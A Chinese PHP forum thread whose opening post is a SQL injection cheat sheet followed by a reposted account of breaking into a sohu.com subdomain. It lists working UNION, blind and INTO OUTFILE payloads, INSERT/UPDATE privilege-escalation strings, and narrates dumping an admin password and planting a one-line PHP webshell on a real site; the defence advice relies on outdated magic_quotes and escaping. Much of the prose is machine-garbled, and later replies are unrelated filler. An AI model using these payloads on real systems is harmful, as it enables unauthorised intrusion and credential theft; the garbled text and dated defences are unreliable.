仓酷云
标题:
PHP教程之PHP的SQL注入
[打印本页]
作者:
山那边是海
时间:
2015-2-3 23:33
标题:
PHP教程之PHP的SQL注入
在我开始学习PHP以前,我从未想过要做软件工程,即便是在去听过华育国际的关于软件工程的美好前景后,因为我一直都没有想过要与代码打交道,而是想学好所学专业,做个网络工程师或者是网络安全人员。 明天从网上进修了有关SQL注入的根基妙技。SQL注入的重点就是机关SQL语句,只要天真的应用SQL
语句才干机关出牛比的注入字符串。学完以后写了点笔记,已备随时利用。但愿你在看上面内容时先了
解SQL的根基道理。笔记中的代码来自收集。
===基本局部===
本表查询:
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m
Union结合语句:
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*
导出文件:
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt
INSERT语句:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
机关homepage值为:http://4ngel.net', '3’)#
SQL语句变成:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3’)#', '1');
UPDATE语句:我喜好如许个器材
先了解这句SQL
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
假如此SQL被修正成以下模式,就完成了注入
1:修正homepage值为
http://4ngel.net', userlevel='3
以后SQL语句变成
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'
userlevel为用户级别
2:修正password值为
mypass)' WHERE username='admin'#
以后SQL语句变成
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
3:修正id值为
' OR username='admin'
以后SQL语句变成
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
===初级局部===
经常使用的MySQL内置函数
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID()
char()
load_file()
……
函数使用
UPDATE article SET title=DATABASE() WHERE id=1
http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于angel,十进制
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111
肯定数据布局的字段个数及类型
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)
猜数据表名
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members
跨表查询失掉用户名和暗码
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
其他
#验证第一名暗码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49
===注入提防===
办事器方面
magic_quotes_gpc设置为On
display_errors设置为Off
编码方面
$keywords = addslashes($keywords);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
数值类型
利用intval()抓换
字符串类型
SQL语句参数中要添加单引号
上面代码,用于防治注入
if (get_magic_quotes_gpc()) {
//....
}else{
$str = mysql_real_escape_string($str);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
}
有效的函数
stripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
strip_tags()
array_map()
addslashes()
参考文章:
http://www.4ngel.net/article/36.htm (SQL Injection with MySQL)中文
http://www.phpe.net/mysql_manual/06-4.html(MYSQL语句参考)
对sohu.com的一次平安检测
已宣布于黑客防地
宣布在http://www.loveshell.net
sohu.com是国际一家对照大的门户网站,供应了包含邮箱在内的良多办事。这么大的一个网站,不出成绩是很难的,俗语说办事越多越不平安嘛!不管是对 于办事器仍是网站都是这个事理,比来进修Mysql注入,因而特地就对sohu.com做了一次小小的平安检测,看看它存不存在SQL注入破绽。
看看sohu.com的主站发明差不多都是静态的,因而保持了在主站上找成绩的设法。直接在sohu.com的各个分站上阅读了一圈后发明,大局部网站采 用的都是Php剧本,也有多数用的是jsp剧本,依据经历咱们晓得,关于Php构建的体系,普通后台数据库都是Mysql,就好象asp对应着Mssql一样,看来能够存在成绩的中央仍是良多的。因为Php的特征(Php默许将传递的参数中的'等字符做了转换,所以关于字符类型的变量默许情形下很难注 入),普通情形下咱们注入的只能是数字类型的变量了。依据平常注入的常识,咱们晓得id=XXX如许的模式传递的参数普通都是数字类型的变量,所以咱们只 要去测试那些php?id=XXX的毗连便可能找到破绽了!经由过程一番细心的搜刮,还真让我在XXX.it.sohu.com上找到了一个存在成绩的毗连http://XXX.it.sohu.com/book/serialize.php?id=86
提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=1/*
前往正常如图1。
然后提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2/*
前往没有信息如图2,空空的吧,应当是SQL语句了局为空了。
经由过程这两个Url咱们可以猜想破绽是存在的,由于咱们提交的and 1=1和and 1=2都被看成Sql语句履行啦!那末咱们提交的其他语句也是可以履行的,这就是Sql注入了!咱们还可以晓得id这个变量是被看成数字处置的,没有放到 ''之间,不然咱们是胜利不了的哦!假如变量没有过滤Sql其他关头字的话,咱们就很有能够胜利啦!我碰到良多的情形都是变量过滤了select,在 mysql里就是绝路了,好愁闷!
既然破绽是存在的,让咱们持续吧!起首固然是探测数据库的类型和毗连数据库的帐户啦!权限高而且数据库和web同机械的话可以避免除猜想字段的疾苦啦!提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and ord(mid(version(),1,1))>51/*
前往正常如图3,这个语句是看数据库的版本是否是高于3的,由于3的ASCII是51嘛!版本的第一个字符是大于51的话固然就是4.0以上啦!4.0以 上是撑持union查询的,如许就能够免去一名一名猜想的疾苦哦!这里了局为真,所以数据库是4.0以上的哦,可以撑持union了。
既然撑持union查询就先把这个语句的字段给暴出来吧!今后再用union查询甚么都是很快的哦!提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 order by 10/*
前往了局正常如图4,看来字段是大于10个的,持续提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 order by 20/*
正常前往,提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 order by 30/*
......
到order by 50的时分前往没有信息了!看来是大于40的小于50的,因而提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 order by 45/*
......
终究猜想到字段是41摆布啦!这里说是摆布是由于有些字段是不克不及排序的,所以还需求咱们用union准确定位字段数字是41,提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*
前往了局如图5,哈哈,胜利了哦!哪些字段会在页面显示也是了如指掌了!如今让咱们持续吧!提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*
前往了局如图6,完成了数据库体系的探测哦!咱们很有能够不是root,而且数据库办事器和web也很有能够不是在一台办事器,如许的话咱们就没有file权限了!提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and (select count(*) from mysql.user)>0/*
前往了局如图7,没有对mysql的读取权限,加倍肯定权限不是root了!呵呵!
既然不是root,也不要泄气,让咱们持续吧!在进一步猜想数据之前咱们最好找下后台先,良多时分找到了办理员暗码却找不到中央上岸,很愁闷的说!在根目 录下加/admin和/manage/等等后台经常使用的地址都是前往404毛病,猜想了几回终究在/book/目次下admin的时分呈现了403 Forbiden毛病,哈哈,是存在这个目次的!然而上岸页面逝世活也猜不出来,愁闷中!不外既然晓得有个admin也好说,去Google里搜刮:
admin site:sohu.com
如图8,失掉了别的一个分站的服装论坛,咱们晓得人是很怠惰的,凡是一个中央的后台的特点就极可能是全部网站的特点,所以当我测验考试会见/book/admin /admuser.php的时分事业呈现了,如图9,哈哈,离胜利更近了哦!到这里咱们晓得了网站的后台,其实咱们还可以失掉很主要的信息,检查原文件发 现上岸表单的名字是name和password,很轻易推想出对方办理员表中的布局,即便不合适估量也差不多,呵呵!所以晓得为何咱们要先猜想后台了 吧!持续注入吧!提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from admin/*
前往毛病,申明不存在admin这个表,测验考试admins和admin_user等等,最初提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
的时分前往胜利,哈哈!有User这个表!那末是否是办理员表呢?字段又是甚么呢?持续提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
前往空信息的毛病,提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
前往了局如图10,哈哈正常前往而且出来了一个暗码,应当是办理员内外第一个用户的暗码!那末他的用户名字是甚么呢?猜想良多字段都是前往毛病,其实没有举措的时分输出一个ID,竟然前往胜利了!ID就是办理员的名字哦!提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,password,3,4,id,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
前往了局如图11,哈哈,失掉办理员的名字了哦!冲动地拿着办理员名字和暗码去后台上岸胜利了哦!如图12。如今是想一想怎样拿webshell的时分了, 在后台发明有上传图片的中央,然而当上传php文件的时分提醒说不是图片文件,愁闷了!在后台细心的七零八落的乱翻了会,发明有个生成php文件的功效, 因而在外面拔出了一句话的php后门,如图13,点生成以后提醒胜利了,看来假如没有过滤的话咱们应当是失掉webshell了,暗码是a,用一句 话后门连上去如图14,哈哈,胜利了!剧本检测到此美满完成!
在失掉webshell以后我上办事器上看了看,发明办事器的平安是做得不错,履行不了号令,而且根基上一切的目次除咱们方才上传的目次以外都是不成写 的,不外作为剧本测试,失掉了webshell也就算胜利了吧!也能够看出,小小的一个参数没有过滤就能够招致网站的低迷,出格是像sohu.com如许 的大站,参数更多,加倍要注重过滤方面的成绩哦!
总的来说,在这一个月左右的时间中,学到的不少,但是也遇到不少的问题,比如批量图片的上传,一直到现在也不懂,如何实现动态的增加上传图片的数量。
作者:
海妖
时间:
2015-2-4 02:06
刚开始安装php的时候,我图了个省事,把php的扩展全都打开啦(就是把php.ini 那一片 extension 前面的冒号全去掉啦),这样自然有好处,以后不用再需要什么功能再来打开。
作者:
第二个灵魂
时间:
2015-2-4 21:32
首先声明:我是一个菜鸟,是一个初学者。学习了一段php后总是感觉自己没有提高,无奈。经过反思我认为我学习过程中存在很多问题,我改变了学习方法后自我感觉有了明显的进步。
作者:
柔情似水
时间:
2015-2-7 17:56
至于模板嘛,各位高人一直以来就是争论不休,我一只小菜鸟就不加入战团啦,咱们新手还是多学点东西的好。
作者:
金色的骷髅
时间:
2015-2-8 07:46
个人呢觉得,配wamp 最容易漏的一步就是忘了把$PHP$目录下的libmysql.dll拷贝到windows系统目录的system32目录下,还有重启apache。
作者:
分手快乐
时间:
2015-2-25 00:59
环境搭建好,当你看见你的浏览器输出“it works\\\\\\\"时你一定是喜悦的。在你解决问题的时候,我强烈建议多读php手册。
作者:
精灵巫婆
时间:
2015-3-2 01:42
对于懒惰的朋友,我推荐php的集成环境xampp或者是wamp。这两个软件安装方便,使用简单。但是我还是强烈建议自己动手搭建开发环境。
作者:
因胸联盟
时间:
2015-3-8 21:52
使用 jquery 等js框架的时候,要随时注意浏览器的更新情况,不然很容易发生框架不能使用。
作者:
再见西城
时间:
2015-3-10 05:16
不禁又想起那些说php是草根语言的人,为什么认得差距这么大呢。
作者:
不帅
时间:
2015-3-11 10:29
你很难利用原理去编写自己的代码。对于php来说,系统的学习我认为还是很重要的,当你有一定理解后,你可你针对某种效果研究,我想那时你不会只是复制代码的水平了。
作者:
活着的死人
时间:
2015-3-18 05:33
使用 jquery 等js框架的时候,要随时注意浏览器的更新情况,不然很容易发生框架不能使用。
作者:
透明
时间:
2015-3-20 20:44
你很难利用原理去编写自己的代码。对于php来说,系统的学习我认为还是很重要的,当你有一定理解后,你可你针对某种效果研究,我想那时你不会只是复制代码的水平了。
作者:
兰色精灵
时间:
2015-3-31 02:12
爱上php,他也会爱上你。
作者:
山那边是海
时间:
2015-4-3 19:40
首先我是坚决反对新手上来就用框架的,因为对底层的东西一点都不了解,造成知识上的真空,会对以后的发展不利。我的观点上手了解下框架就好,代码还是手写。当然啦如果是位别的编程语言的高手的话,这个就另当别论啦。
作者:
老尸
时间:
2015-4-10 09:20
其实没啥难的,多练习,练习写程序,真正的实践比看100遍都有用。不过要熟悉引擎
作者:
飘灵儿
时间:
2015-4-15 00:12
在我安装pear包的时候老是提示,缺少某某文件,才发现 那群extension 的排列是应该有一点的顺序,而我安装的版本的排序不是正常的排序。没办法我只好把那群冒号加了上去,只留下我需要使用的扩展。
作者:
乐观
时间:
2015-4-16 11:09
我要在声明一下:我是个菜鸟!!我对php这门优秀的语言也是知之甚少。但是我要在这里说一下php在网站开发中最常用的几个功能:
作者:
飘飘悠悠
时间:
2015-4-23 01:54
其实也不算什么什么心得,在各位大侠算是小巫见大巫了吧,望大家不要见笑,若其中有错误的地方请各位大虾斧正。
作者:
变相怪杰
时间:
2015-4-26 07:19
再就是混迹于论坛啦,咱们的phpchina的论坛就很强大,提出的问题一般都是有达人去解答的,以前的帖子也要多看看也能学到不少前辈们的经验。别的不错的论坛例如php100,javaeye也是很不错的。
作者:
冷月葬花魂
时间:
2015-5-9 13:17
使用 jquery 等js框架的时候,要随时注意浏览器的更新情况,不然很容易发生框架不能使用。
作者:
若天明
时间:
2015-6-12 03:08
其实没啥难的,多练习,练习写程序,真正的实践比看100遍都有用。不过要熟悉引擎
欢迎光临 仓酷云 (http://ckuyun.com/)
Powered by Discuz! X3.2